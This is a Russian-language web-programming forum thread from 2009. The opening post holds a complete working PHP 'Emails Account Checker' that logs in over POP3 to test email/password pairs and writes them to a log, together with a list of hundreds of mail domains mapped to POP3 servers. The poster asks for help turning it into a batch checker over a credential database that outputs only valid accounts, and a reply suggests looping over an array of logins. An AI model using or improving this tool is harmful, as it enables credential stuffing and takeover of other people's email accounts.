imho.ws
IMHO.WS  

Вернуться   IMHO.WS > Веб-мастеру > Веб-программирование
Опции темы
Старый 21.12.2009, 19:52     # 1
capslock
Banned
 
Аватар для capslock
 
Регистрация: 20.12.2009
Сообщения: 1

capslock Ушлепок
Скрипт проверки соответствия пароля мылу

Вот сырец скрипта который проверяет соответствие пароля мылу...
Данные надо записывать в файл постоянно.
Я малость переделал и гетом засылаю в скрипт.
Но мне кажется это каменный век, да и скрипт тупит честно говоря.
Если кому не сложно не могли бы посмотреть переделать что бы класть базу рядом со скриптом и запускать его и получать в выводе только "ОК" мыла?
PHP код:
<?
/*
Emails Account Cheeker (через POP3)
Поддержимаемые домены в domains.txt
Coded by preda1or
*/
global $error,$err_more,$server_reply,$result;
set_time_limit(0);
error_reporting(0);

//так было....
//$login="vasia@mail.ru";
//$password="123456";

// а так Я сделал для передачи гетом
$login=$_GET['login'];
$password=$_GET['password'];


if(
mail_check($login,$password))
{
    global 
$result;
    echo 
$result;//если удачно
    
mail_check_log($result);    
} else {
    echo 
$result;//если неудачно
    
mail_check_log($result);    
}

function 
mail_check($login='',$password='')
{
    global 
$error,$err_more,$server_reply,$result;
    
$pattern "^([_a-z0-9-]+)(\.[_a-z0-9-]+)*@([a-z0-9-]+)(\.[a-z0-9-]+)*(\.[a-z]{2,4})$";
    if(
ereg($pattern,$login))
    {
        
$servername=pop3_get_servername($login);
        if(
pop3_server($servername))
        {
            
$login2=explode("@",$login);
            
$login2=$login2[0];
            if(
pop3_login($login,$password,$servername) or pop3_login($login2,$password,$servername))
            {
                
$result="OK";
                return 
true;
            } else {
                
$error="'pop3_login()' FAILED";
                
$result="FAIL: $error";
                
$server_reply=str_replace("\r\n","",$server_reply);
                if(
strlen($server_reply)>1) { $result.=", SERVER REPLY: '$server_reply'";}
                return 
false;
            }
        } else {
            
$error="'pop3_server()' FAILED";
            
$result="FAIL: $error";
            
$server_reply=str_replace("\r\n","",$server_reply);
            if(
strlen($server_reply)>1) { $result.=", SERVER REPLY: '$server_reply'";}
            return 
false;
        }

    } else {
        
$error="'ereg()' FAILED";
        
$result="FAIL: $error";
        
$server_reply=str_replace("\r\n","",$server_reply);
        if(
strlen($server_reply)>1) { $result.=", SERVER REPLY: '$server_reply'";}
        return 
false;    
    }

}

function 
mail_check_log($result='')
{
    global 
$login,$password;
    if(
strlen($result)>0)
    {
        
$result=str_replace("\n","",$result);
        
$result=str_replace("\r","",$result);
        
$f=fopen("mail.log","a");
        
fwrite($f,"[".date("m.d.y - H:i:s")."] [$login:$password] [$result]\n");
        
fclose($f);
    }
    return 
null;
}

function 
pop3_get_servername($email='')
{
    
$servers=file("pop_servers.dat");
    
$i=0;
    while(
$i<sizeof($servers))
    {
        
$current=explode(":",$servers[$i],2);
        
$email_expl=explode("@",$email,2);
        if(
$current[0]=="@".$email_expl[1])
        {
            
$current[1]=str_replace("\r","",$current[1]);
            
$current[1]=str_replace("\n","",$current[1]);
            return 
$current[1];
            
$i=sizeof($servers);
        }
        
$i++;
    }
}

function 
pop3_server($host='',$port='110',$timeout='60')
{
    global 
$err_more,$server_reply;
    
$s=fsockopen($host$port$errno$errstr$timeout);
    
$err_more="\$errno=$errno, \$errstr=$errstr";
    if(
$s)
    {
        
$line=fread($s256);
        if(
eregi("\+OK",$line))
        {
            
fputs($s,"QUIT\r\n");
            return 
true;
        } else {
            return 
false;
            
$server_reply=$line;
        }
        
fclose($s);
    } else {
        return 
false;
    }
}

function 
pop3_login($login='',$password='',$host='',$port='110',$timeout='60')
{
    global 
$err_more,$server_reply;
    
$s=fsockopen($host$port$errno$errstr$timeout);
    
$err_more="\$errno=$errno, \$errstr=$errstr";
    if(
$s)
    {
        
$line=fread($s256);
        if(
eregi("\+OK",$line))
        {
            
fputs($s,"USER $login\r\n");
            
$line=fread($s256);
            if(
eregi("\+OK",$line))
            {
                
fputs($s,"PASS $password\r\n");
                
$line=fread($s256);
                if(
eregi("\+OK",$line) and !eregi("\-ERR",$line))
                {
                    return 
true;
                    
fputs($s,"QUIT\r\n");
                } else {
                    
$server_reply=$line;
                    return 
false;
                }
            } else {
                
$server_reply=$line;
                return 
false;
            }
        } else {
            
$server_reply=$line;
            return 
false;
        }
        
fclose($s);
    } else {
         return 
false;
    }
}

?>
вот и недостающий файлик pop_servers.dat
PHP код:
@mail.ru:pop.mail.ru
@list.ru:pop.list.ru
@bk.ru:pop.bk.ru
@inbox.ru:pop.inbox.ru
@e-mail.ru:mail.e-mail.ru
@vipmail.ru:mail.vipmail.ru
@supermail.ru:mail.supermail.ru
@goldmail.ru:mail.goldmail.ru
@goldenmail.ru:mail.goldenmail.ru
@emails.ru:mail.emails.ru
@e-mails.ru:mail.e-mails.ru
@pochta.ru:mail.pochta.ru
@fromru.com:mail.pochta.ru
@front.ru:mail.pochta.ru
@hotbox.ru:mail.pochta.ru
@krovatka.net:mail.pochta.ru
@land.ru:mail.pochta.ru
@mail15.com:mail.pochta.ru
@mail333.com:mail.pochta.ru
@pisem.net:mail.pochta.ru
@pochtamt.ru:mail.pochta.ru
@pop3.ru:mail.pochta.ru
@rbcmail.ru:mail.pochta.ru
@smtp.ru:mail.pochta.ru
@yandex.ru:pop.yandex.ru
@narod.ru:pop.narod.ru
@rambler.ru:pop3.rambler.ru
@gmail.com:pop.gmail.com
@newmail.ru:pop.newmail.ru
@nm.ru:pop.newmail.ru
@hotmail.ru:pop.newmail.ru
@nightmail.ru:pop.newmail.ru
@algerie.cc:pop.gawab.com
@blida.info:pop.gawab.com
@mascara.ws:pop.gawab.com
@oran.cc:pop.gawab.com
@oued.info:pop.gawab.com
@oued.org:pop.gawab.com
@bahraini.cc:pop.gawab.com
@manama.cc:pop.gawab.com
@cameroon.cc:pop.gawab.com
@djibouti.cc:pop.gawab.com
@timor.cc:pop.gawab.com
@alex4all.com:pop.gawab.com
@alexandria.cc:pop.gawab.com
@aswan.cc:pop.gawab.com
@banha.cc:pop.gawab.com
@giza.cc:pop.gawab.com
@ismailia.cc:pop.gawab.com
@mansoura.tv:pop.gawab.com
@portsaid.cc:pop.gawab.com
@sharm.cc:pop.gawab.com
@sinai.cc:pop.gawab.com
@suez.cc:pop.gawab.com
@tanta.cc:pop.gawab.com
@zagazig.cc:pop.gawab.com
@eritrea.cc:pop.gawab.com
@guinea.cc:pop.gawab.com
@najaf.cc:pop.gawab.com
@amman.cc:pop.gawab.com
@aqaba.cc:pop.gawab.com
@irbid.ws:pop.gawab.com
@jerash.cc:pop.gawab.com
@karak.cc:pop.gawab.com
@urdun.cc:pop.gawab.com
@zarqa.cc:pop.gawab.com
@kuwaiti.tv:pop.gawab.com
@safat.biz:pop.gawab.com
@safat.info:pop.gawab.com
@safat.us:pop.gawab.com
@safat.ws:pop.gawab.com
@salmiya.biz:pop.gawab.com
@kyrgyzstan.cc:pop.gawab.com
@baalbeck.cc:pop.gawab.com
@hamra.cc:pop.gawab.com
@lebanese.cc:pop.gawab.com
@lubnan.cc:pop.gawab.com
@lubnan.ws:pop.gawab.com
@agadir.cc:pop.gawab.com
@jadida.cc:pop.gawab.com
@jadida.org:pop.gawab.com
@maghreb.cc:pop.gawab.com
@marrakesh.cc:pop.gawab.com
@meknes.cc:pop.gawab.com
@nador.cc:pop.gawab.com
@oujda.biz:pop.gawab.com
@oujda.cc:pop.gawab.com
@rabat.cc:pop.gawab.com
@tangiers.cc:pop.gawab.com
@tetouan.cc:pop.gawab.com
@dhofar.cc:pop.gawab.com
@gabes.cc:pop.gawab.com
@ibra.cc:pop.gawab.com
@muscat.tv:pop.gawab.com
@muscat.ws:pop.gawab.com
@omani.ws:pop.gawab.com
@salalah.cc:pop.gawab.com
@seeb.cc:pop.gawab.com
@pakistani.ws:pop.gawab.com
@falasteen.cc:pop.gawab.com
@hebron.tv:pop.gawab.com
@nablus.cc:pop.gawab.com
@quds.cc:pop.gawab.com
@rafah.cc:pop.gawab.com
@ramallah.cc:pop.gawab.com
@yunus.cc:pop.gawab.com
@abha.cc:pop.gawab.com
@ahsa.ws:pop.gawab.com
@albaha.cc:pop.gawab.com
@alriyadh.cc:pop.gawab.com
@arar.ws:pop.gawab.com
@buraydah.cc:pop.gawab.com
@dhahran.cc:pop.gawab.com
@jizan.cc:pop.gawab.com
@jouf.cc:pop.gawab.com
@khobar.cc:pop.gawab.com
@madinah.cc:pop.gawab.com
@qassem.cc:pop.gawab.com
@tabouk.cc:pop.gawab.com
@tayef.cc:pop.gawab.com
@yanbo.cc:pop.gawab.com
@dominican.cc:pop.gawab.com
@khartoum.cc:pop.gawab.com
@omdurman.cc:pop.gawab.com
@sudanese.cc:pop.gawab.com
@hasakah.com:pop.gawab.com
@homs.cc:pop.gawab.com
@latakia.cc:pop.gawab.com
@palmyra.cc:pop.gawab.com
@palmyra.ws:pop.gawab.com
@siria.cc:pop.gawab.com
@tajikistan.cc:pop.gawab.com
@bizerte.cc:pop.gawab.com
@gafsa.cc:pop.gawab.com
@kairouan.cc:pop.gawab.com
@nabeul.cc:pop.gawab.com
@nabeul.info:pop.gawab.com
@sfax.ws:pop.gawab.com
@sousse.cc:pop.gawab.com
@tunisian.cc:pop.gawab.com
@ajman.cc:pop.gawab.com
@ajman.us:pop.gawab.com
@ajman.ws:pop.gawab.com
@fujairah.cc:pop.gawab.com
@fujairah.us:pop.gawab.com
@fujairah.ws:pop.gawab.com
@khaimah.cc:pop.gawab.com
@sanaa.cc:pop.gawab.com
@yemeni.cc:pop.gawab.com
@zambia.cc:pop.gawab.com
@gawab.com:pop.gawab.com
@algerie.cc:pop.gawab.com
@bahraini.cc:pop.gawab.com
@cameroon.cc:pop.gawab.com
@djibouti.cc:pop.gawab.com
@dominican.cc:pop.gawab.com
@eritrea.cc:pop.gawab.com
@falasteen.cc:pop.gawab.com
@guinea.cc:pop.gawab.com
@kuwaiti.tv:pop.gawab.com
@kyrgyzstan.cc:pop.gawab.com
@lebanese.cc:pop.gawab.com
@lubnan.cc:pop.gawab.com
@lubnan.ws:pop.gawab.com
@maghreb.cc:pop.gawab.com
@omani.ws:pop.gawab.com
@pakistani.ws:pop.gawab.com
@siria.cc:pop.gawab.com
@sudanese.cc:pop.gawab.com
@tajikistan.cc:pop.gawab.com
@tunisian.cc:pop.gawab.com
@urdun.cc:pop.gawab.com
@yemeni.cc:pop.gawab.com
@zambia.cc:pop.gawab.com
@tut.by:mail.tut.by
@spam.lv:mail.spam.lv
@eclub.lv:mail.eclub.lv
@fit.lv:mail.fit.lv
@sok.lv:mail.sok.lv
@zabor.lv:mail.zabor.lv
@iphon.biz:mail.iphon.biz
@human.lv:mail.human.lv
@lv-inter.net:mail.lv-inter.net
@loveis.lv:mail.loveis.lv
@latchess.com:mail.latchess.com
@bmx.lv:mail.bmx.lv
@sexriga.lv:mail.sexriga.lv
@dino.lv:mail.dino.lv
@5005.lv:mail.5005.lv
@a.ua:pop3.a.org.ua
@a.org.ua:pop3.a.org.ua
@company.org.ua:pop3.a.org.ua
@uaix.info:pop3.a.org.ua
@ua.fm:ua.fm
@gala.net:mail.gala.net
@a.org.ua:pop3.mymail-in.net
@mymail-in.net:pop3.mymail-in.net
@mytop-in.net:pop3.mymail-in.net
@topping.com.ua:pop3.mymail-in.net
@peugeot-club.org:pop3.mymail-in.net
@uaix.info:pop3.mymail-in.net
@woman.in.ua:pop3.mymail-in.net
@xsecurity.org:pop3.mymail-in.net
@e1.ru:mail.e1.ru
@HotPOP.com:pop.hotpop.com
@PunkAss.com:pop.PunkAss.com
@SexMagnet.com:pop.SexMagnet.com
@BonBon.net:pop.BonBon.net
@ToughGuy.net:pop.ToughGuy.net
@Phreaker.net:pop.Phreaker.net
@GameBox.net:pop.GameBox.net
@meta.ua:webmail.meta.ua
@bigmir.net:pop.bigmir.net
@itua.info:pop3.itua.info
@inet.ua:mail.inet.ua
@fm.com.ua:mail.inet.ua
@freemail.com.ua:mail.inet.ua
@gmail.ru:mail.gmail.ru
@dinamomail.ru:mail.dinamomail.ru
@hrono.ru:mail.hrono.ru
@icqfoto.ru:mail.icqfoto.ru
@kievmail.ru:mail.kievmail.ru
@lmail.ru:mail.lmail.ru
@mirabilis.ru:mail.mirabilis.ru
@radiomail.ru:mail.radiomail.ru
@refer.ru:mail.refer.ru
@spartakmail.ru:mail.spartakmail.ru
@tvmail.ru:mail.tvmail.ru
@wmail.ru:mail.wmail.ru
@womenmail.ru:mail.womenmail.ru
@elitemail.ru:mail.elitemail.ru 
мне кажется что в скрипте что то сильно наворочено и заморочено...
не может коннект и отклик так долго идти...
если сделаете, не сочтите за труд стукнуть
ася 183917
capslock вне форума  
Старый 22.12.2009, 11:46     # 2
EvroStandart
Full Member
 
Аватар для EvroStandart
 
Регистрация: 20.01.2004
Адрес: Таллинн
Пол: Male
Сообщения: 623

EvroStandart Имеются все основания чтобы гордиться собойEvroStandart Имеются все основания чтобы гордиться собойEvroStandart Имеются все основания чтобы гордиться собойEvroStandart Имеются все основания чтобы гордиться собойEvroStandart Имеются все основания чтобы гордиться собойEvroStandart Имеются все основания чтобы гордиться собойEvroStandart Имеются все основания чтобы гордиться собойEvroStandart Имеются все основания чтобы гордиться собойEvroStandart Имеются все основания чтобы гордиться собойEvroStandart Имеются все основания чтобы гордиться собойEvroStandart Имеются все основания чтобы гордиться собой
Какую базу куда класть?

Если нужно автоматически подставлять разные логины, сделай массив.

Потом перебирай элементы массива и вызывай mail_check()
EvroStandart вне форума  

Опции темы

Ваши права в разделе
Вы НЕ можете создавать новые темы
Вы не можете отвечать в темах.
Вы НЕ можете прикреплять вложения
Вы НЕ можете редактировать свои сообщения

BB код Вкл.
Смайлы Вкл.
[IMG] код Выкл.
HTML код Выкл.

Быстрый переход


Часовой пояс GMT +4, время: 21:14.




Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.